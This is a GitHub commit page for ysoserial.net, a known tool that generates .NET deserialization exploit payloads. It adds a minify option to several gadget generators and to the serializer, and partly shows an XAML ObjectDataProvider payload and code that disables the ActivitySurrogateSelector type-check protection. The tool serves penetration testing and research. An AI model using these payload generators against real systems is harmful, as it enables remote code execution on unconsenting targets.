init minify option and some updates

pwntester · Feb 4, 2020 · 86b9cac · 86b9cac
1 parent 160e86c
commit 86b9cac
Show file tree

Hide file tree

Showing 30 changed files with 1,233 additions and 108 deletions.
diff --git a/ysoserial/App.config b/ysoserial/App.config
@@ -1,6 +1,14 @@
-<?xml version="1.0" encoding="utf-8" ?>
+<?xml version="1.0" encoding="utf-8"?>
 <configuration>
     <startup> 
-        <supportedRuntime version="v4.0" sku=".NETFramework,Version=v4.5.2" />
+        <supportedRuntime version="v4.0" sku=".NETFramework,Version=v4.6.1" />
     </startup>
-</configuration>
+  <runtime>
+    <assemblyBinding xmlns="urn:schemas-microsoft-com:asm.v1">
+      <dependentAssembly>
+        <assemblyIdentity name="Newtonsoft.Json" publicKeyToken="30ad4fe6b2a6aeed" culture="neutral" />
+        <bindingRedirect oldVersion="0.0.0.0-10.0.0.0" newVersion="10.0.0.0" />
+      </dependentAssembly>
+    </assemblyBinding>
+  </runtime>
+</configuration>
diff --git a/ysoserial/Generators/ActivitySurrogateDisableTypeCheck.cs b/ysoserial/Generators/ActivitySurrogateDisableTypeCheck.cs
@@ -25,7 +25,7 @@ public override List<string> SupportedFormatters()
             return new List<string> { "BinaryFormatter", "ObjectStateFormatter", "SoapFormatter", "NetDataContractSerializer", "LosFormatter" };
         }
 
-        public override object Generate(string cmd, string formatter, Boolean test)
+        public override object Generate(string cmd, string formatter, Boolean test, Boolean minify)
         {
             string xaml_payload = @"<ResourceDictionary
 xmlns=""http://schemas.microsoft.com/winfx/2006/xaml/presentation""
@@ -57,9 +57,14 @@ public override object Generate(string cmd, string formatter, Boolean test)
         </ObjectDataProvider.MethodParameters>
     </ObjectDataProvider>
 </ResourceDictionary>";
+
+            if (minify)
+            {
+                xaml_payload = Helpers.XMLMinifier.Minify(xaml_payload, null, null);
+            }
 
             TextFormattingRunPropertiesMarshal payload = new TextFormattingRunPropertiesMarshal(xaml_payload);
-            return Serialize(payload, formatter, test);
+            return Serialize(payload, formatter, test, minify);
         }
 
     }

diff --git a/ysoserial/Generators/ActivitySurrogateSelectorFromFileGenerator.cs b/ysoserial/Generators/ActivitySurrogateSelectorFromFileGenerator.cs
@@ -51,10 +51,10 @@ public override string Credit()
             return "James Forshaw";
         }
 
-        public override object Generate(string file, string formatter, Boolean test)
+        public override object Generate(string file, string formatter, Boolean test, Boolean minify)
         {
             PayloadClassFromFile payload = new PayloadClassFromFile(file);
-            return Serialize(payload, formatter, test);
+            return Serialize(payload, formatter, test, minify);
         }
     }
 }
diff --git a/ysoserial/Generators/ActivitySurrogateSelectorGenerator.cs b/ysoserial/Generators/ActivitySurrogateSelectorGenerator.cs
@@ -142,10 +142,10 @@ public override string Credit()
             return "James Forshaw";
         }
 
-        public override object Generate(string cmd, string formatter, Boolean test)
+        public override object Generate(string cmd, string formatter, Boolean test, Boolean minify)
         {
             PayloadClass payload = new PayloadClass();
-            return Serialize(payload, formatter, test);
+            return Serialize(payload, formatter, test, minify);
         }
     }
 }
diff --git a/ysoserial/Generators/Generator.cs b/ysoserial/Generators/Generator.cs
@@ -9,8 +9,8 @@ interface Generator
         string Description();
         string Credit();
         List<string> SupportedFormatters();
-        object Generate(string cmd, string formatter, Boolean test);
-        object Serialize(object cmdobj, string formatter, Boolean test);
+        object Generate(string cmd, string formatter, Boolean test, Boolean minify);
+        object Serialize(object cmdobj, string formatter, Boolean test, Boolean minify);
         Boolean IsSupported(string formatter);
     }
 }
diff --git a/ysoserial/Generators/GenericGenerator.cs b/ysoserial/Generators/GenericGenerator.cs
@@ -14,7 +14,7 @@ abstract class GenericGenerator : Generator
     {
         public abstract string Description();
 
-        public abstract object Generate(string cmd, string formatter, Boolean test);
+        public abstract object Generate(string cmd, string formatter, Boolean test, Boolean minify);
 
         public abstract string Credit();
 
@@ -30,7 +30,7 @@ public Boolean IsSupported(string formatter)
             else return false;
         }
 
-        public object Serialize(object cmdobj, string formatter, Boolean test)
+        public object Serialize(object cmdobj, string formatter, Boolean test, Boolean minify)
         {
             // Disable ActivitySurrogate type protections during generation
             ConfigurationManager.AppSettings.Set("microsoft:WorkflowComponentModel:DisableActivitySurrogateSelectorTypeCheck", "true");
@@ -74,6 +74,13 @@ public object Serialize(object cmdobj, string formatter, Boolean test)
             {
                 SoapFormatter sf = new SoapFormatter();
                 sf.Serialize(stream, cmdobj);
+
+                if (minify)
+                {
+                    stream.Position = 0;
+                    stream = Helpers.XMLMinifier.Minify(stream, null, null, Helpers.FormatterType.SoapFormatter);
+                }
+
                 if (test)
                 {
                     try
@@ -91,6 +98,13 @@ public object Serialize(object cmdobj, string formatter, Boolean test)
             {
                 NetDataContractSerializer ndcs = new NetDataContractSerializer();
                 ndcs.Serialize(stream, cmdobj);
+
+                if (minify)
+                {
+                    stream.Position = 0;
+                    stream = Helpers.XMLMinifier.Minify(stream, new string[] { "mscorlib" }, null, Helpers.FormatterType.NetDataContractXML);
+                }
+
                 if (test)
                 {
                     try